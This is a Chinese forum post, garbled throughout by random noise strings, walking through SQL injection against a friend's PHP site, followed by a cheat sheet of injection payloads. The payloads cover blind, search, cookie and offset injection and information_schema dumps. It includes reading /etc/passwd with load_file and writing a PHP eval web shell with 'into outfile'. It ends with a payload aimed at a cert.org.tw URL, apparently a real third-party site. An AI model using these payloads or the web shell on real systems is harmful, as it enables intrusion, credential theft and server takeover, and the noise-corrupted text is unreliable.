我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~* @' g; h# B9 x6 G- p
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
9 |" _! M, u. K' I- Q% u- @2 J9 ^我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
* Y; Z8 F) P8 w如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
9 s3 s6 C1 W9 j4 v: w4 v1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,): K# Q+ d7 L ]( c7 F
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:+ Z9 x) \. D( \2 T
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
: @0 L- P8 S8 a0 S. f/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入) p" ~, ~. M/ T1 \( `4 P
( I* {! T: N6 y* J4 n4 H- J1 C
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,3 K2 l& N2 N/ e$ k$ i: t2 M7 @, p" ^
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意6 S+ s) b o- q3 h [
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息7 r: y9 a; j o$ z
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
) Q p% L& ~: u! z, D有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
2 S+ [ D; R: f2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。& K. j+ x2 `1 x0 D' j' F
我就用的是第二个思路,
" C1 m" i% _( s# v( y B2 c提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- G8 k8 n! s5 z; l! R/ o& u
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,0 u. ?! A! i# x- `, G( G
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--0 X% m' X2 Q. c9 V$ ~
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。* F/ H$ ~9 B0 F5 y# D5 e& C
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
l8 O' B) x- Y! E- s$ F是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....% G" F {7 ?7 h" C
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --8 _5 l; T% ?# C" a% D* ]
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,: A; b0 }5 V/ D" B, p
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
3 C1 R0 x t5 V0 C下面是一些很普遍注入方式资料:; E4 k( _$ y4 Q6 G) W$ J9 C% H
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
3 G3 ?$ s5 @+ q! c' y拆半法' u& N$ ]- w9 `# l
######################################2 p2 P6 u* I$ {/ p. O$ L2 o* T1 Y
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。, \& N" n! F( D5 C4 p; [
and exists (select * from admin)
" w4 Z! P% t% k2 `2 U2 O0 n' o) }# {% wand exists(select id from admin)
2 T( R, F& F1 v# N! H Dand exists(select id from admin where id=1)& x2 b3 _- U3 R2 E
and exists(select id from admin where id>1)
3 d. [+ \. H# x" M8 T; S" G, C* [9 o然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 ' ], w# u5 G" R, H0 n/ Z8 H
and exists (select username from admin)) V$ D7 I2 |: D% U: C7 L8 X
and exists (select password from admin)& F7 y9 p p3 F- o
and exists (select id from admin where len(username)<10 and id=1)- r' n" D* |0 c
and exists (select id from admin where len(username)>5 and id=1)6 F/ ~9 q) o& L u k# B
and exists (select id from admin where len(username)=6 and id=1)3 e& k6 S0 e' u8 r( p) Y; ]
and exists (select id from admin where len(password)<10 and id=1)
% Q: e& \" ?4 x+ `" Sand exists (select id from admin where len(password)>5 and id=1)
$ n$ L: k3 Q. }+ ?and exists (select id from admin where len(password)=7 and id=1)
# F) ^/ v1 }) D( {4 O5 ]and (select top 1 asc(mid(username,1,1)) from admin)=976 Z; Z! E7 ^. Y. a; y# M
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
! t# ^, k. L* i* K% E3 T+ r猜第二位把username,1,1改成username,2,1就可以了。" L0 v! t$ ]% e( T0 j
猜密码把username改成password就OK了
* Z( `4 p6 `/ e8 D" L################################################### \" r; R5 G; n- a- y4 u
搜索型注入
' d$ b9 p2 t9 ~, j: I4 p##################################, }: O' O! l# b Z4 r
%' and 1=1 and '%'='
8 N% p* f) i8 W6 i; C, ]& s%' and exists (select * from admin) and '%'='. `& {' A$ ~: b* e r
%' and exists(select id from admin where id=1) and '%'='
3 |& ?: e1 P/ A3 j0 ^%' and exists (select id from admin where len(username)<10 and id=1) and '%'='. d- a+ u4 w6 j% x2 k7 _$ y
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='# i7 h l1 C0 w9 m2 S
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'=': H; B* O0 J# \8 e
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
+ `5 V& V. s' ^) v对于MSSQL数据库,后面可以吧 and '%'='换成--
8 `: q' ~4 _" D x还有一点搜索型注入也可以使用union语句。
, I) c* A" y7 W: |; m########################################################; V7 e; C) Q5 R- {' Y$ c
联合查询。
5 p/ S8 ?6 C( R' G! I- r#####################################
/ j0 H" E* |6 u' Iorder by 10
4 }: A( a, G% k8 K6 Tand 1=2 union select 1,2,3,4,5,6,7,8,9,10 U- ?. P( d6 i3 P5 R' a1 U. o3 }" E
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin$ { y1 `/ F+ | _
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1- x+ e+ M$ j, ^. t7 @, ~' ]
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)3 t" _( R% D/ Z6 m; i
###################################
; \6 \% s% O! U" Z0 T2 K# W/ ocookie注入
0 M' y9 ?! L! b' _, Q4 \###############################
2 a6 J/ d, j6 l6 y" T chttp://www.******.com/shownews.asp?id=127
" Z: x. [; }9 W H* Jhttp://www.******.com/shownews.asp& h5 c) T4 e3 @) Z) P4 A8 s$ B
alert(="id="+escape("127"));
- ]: K. E- s; U# ralert(="id="+escape("127 and 1=1"));
7 B$ W* R+ W, e; X; \alert(="id="+escape("127 order by 10"));
: C4 w) u7 K ~- [$ salert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));* Y+ H# f7 F4 P6 P
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
$ S: M `6 N/ W& O/ @' w这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
- H/ L% ~2 R+ U###################################+ u9 U( H/ j$ P- ^6 M! l, e
偏移注入3 h2 B, P- t# G1 z# {1 {
###########################################################
, b1 B1 j6 A& g# p! G4 `' X& }union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin9 @- ]" j' d. Y
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
( L/ G: N) ]2 ^0 N2 T6 @( uunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
- P, k$ w5 s2 G& ?; ?6 E* `union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)' P8 w; F9 a# M0 k1 f% {5 ?: n( t. V
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
) e! q. o `; L; Qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)1 }/ r4 X3 p( _# I5 T
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on1 I. b: L& |7 ~" l
a.id=d.id)
; P0 A6 C4 V1 U; [8 cand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
' @2 W/ B- N& h0 q4 Band 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) ' w: T: C# A. }4 S
( s& ?$ y, [! J; I+ D5 l
============================================================================================================5 ~3 Z- A) V: L/ ^
1.判断版本
2 u0 W' d# L; K+ b$ l# K5 Pand ord(mid(version(),1,1))>51' P: i1 f& j1 D. E) R, O3 O. e! r
返回正常,说明大于4.0版本,支持ounion查询! x/ O5 t& }" \4 q
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解: j; q8 d9 |0 o: p, `6 q) q
and 2=4 union select 1,2,3,4,5,6,7,8,9--8 D) F! h1 |, `+ j* r) Y
3.查看数据库版本及当前用户,
' \9 m5 j6 K. t$ W! Oand 2=4 union select 1,user(),version(),4,5,6,7,8,9--. b2 u6 c- O: j$ b6 k
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
/ G8 x/ C/ c$ R5 h( d4.判断有没有写权限$ D2 z; w. V2 s
and (select count(*) from MySQL.user)>0--
& o* Q$ h# |) E, Q6 Y& \$ v5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1; P$ v" u2 T9 J# w# ^7 w. f% C
用不了这个命令,就学习土耳其黑客手法,如下
* d9 Z* _' L% d* Q4 M5 xand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
( W3 J N$ G% i$ L' j. w. f% T6 R6.爆表,爆库
+ W) F9 p5 Z+ g5 u# r. nand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
( u1 _5 w, _! B7 `( Y7.爆列名,爆表& M& X% r$ A; [: L. E
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
1 M$ Y7 p& {0 p2 A7 U; B1 Y8.查询字段数,直接用limit N,1去查询,直接N到报错为止。* ~$ U( L2 I% o( r
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--* @( {) q' N) R8 _. h+ |! }
9.爆字段内容0 W' y. ?! }. b, a) U* f
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--4 s9 c% N: Z$ J7 l4 S. G* z
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |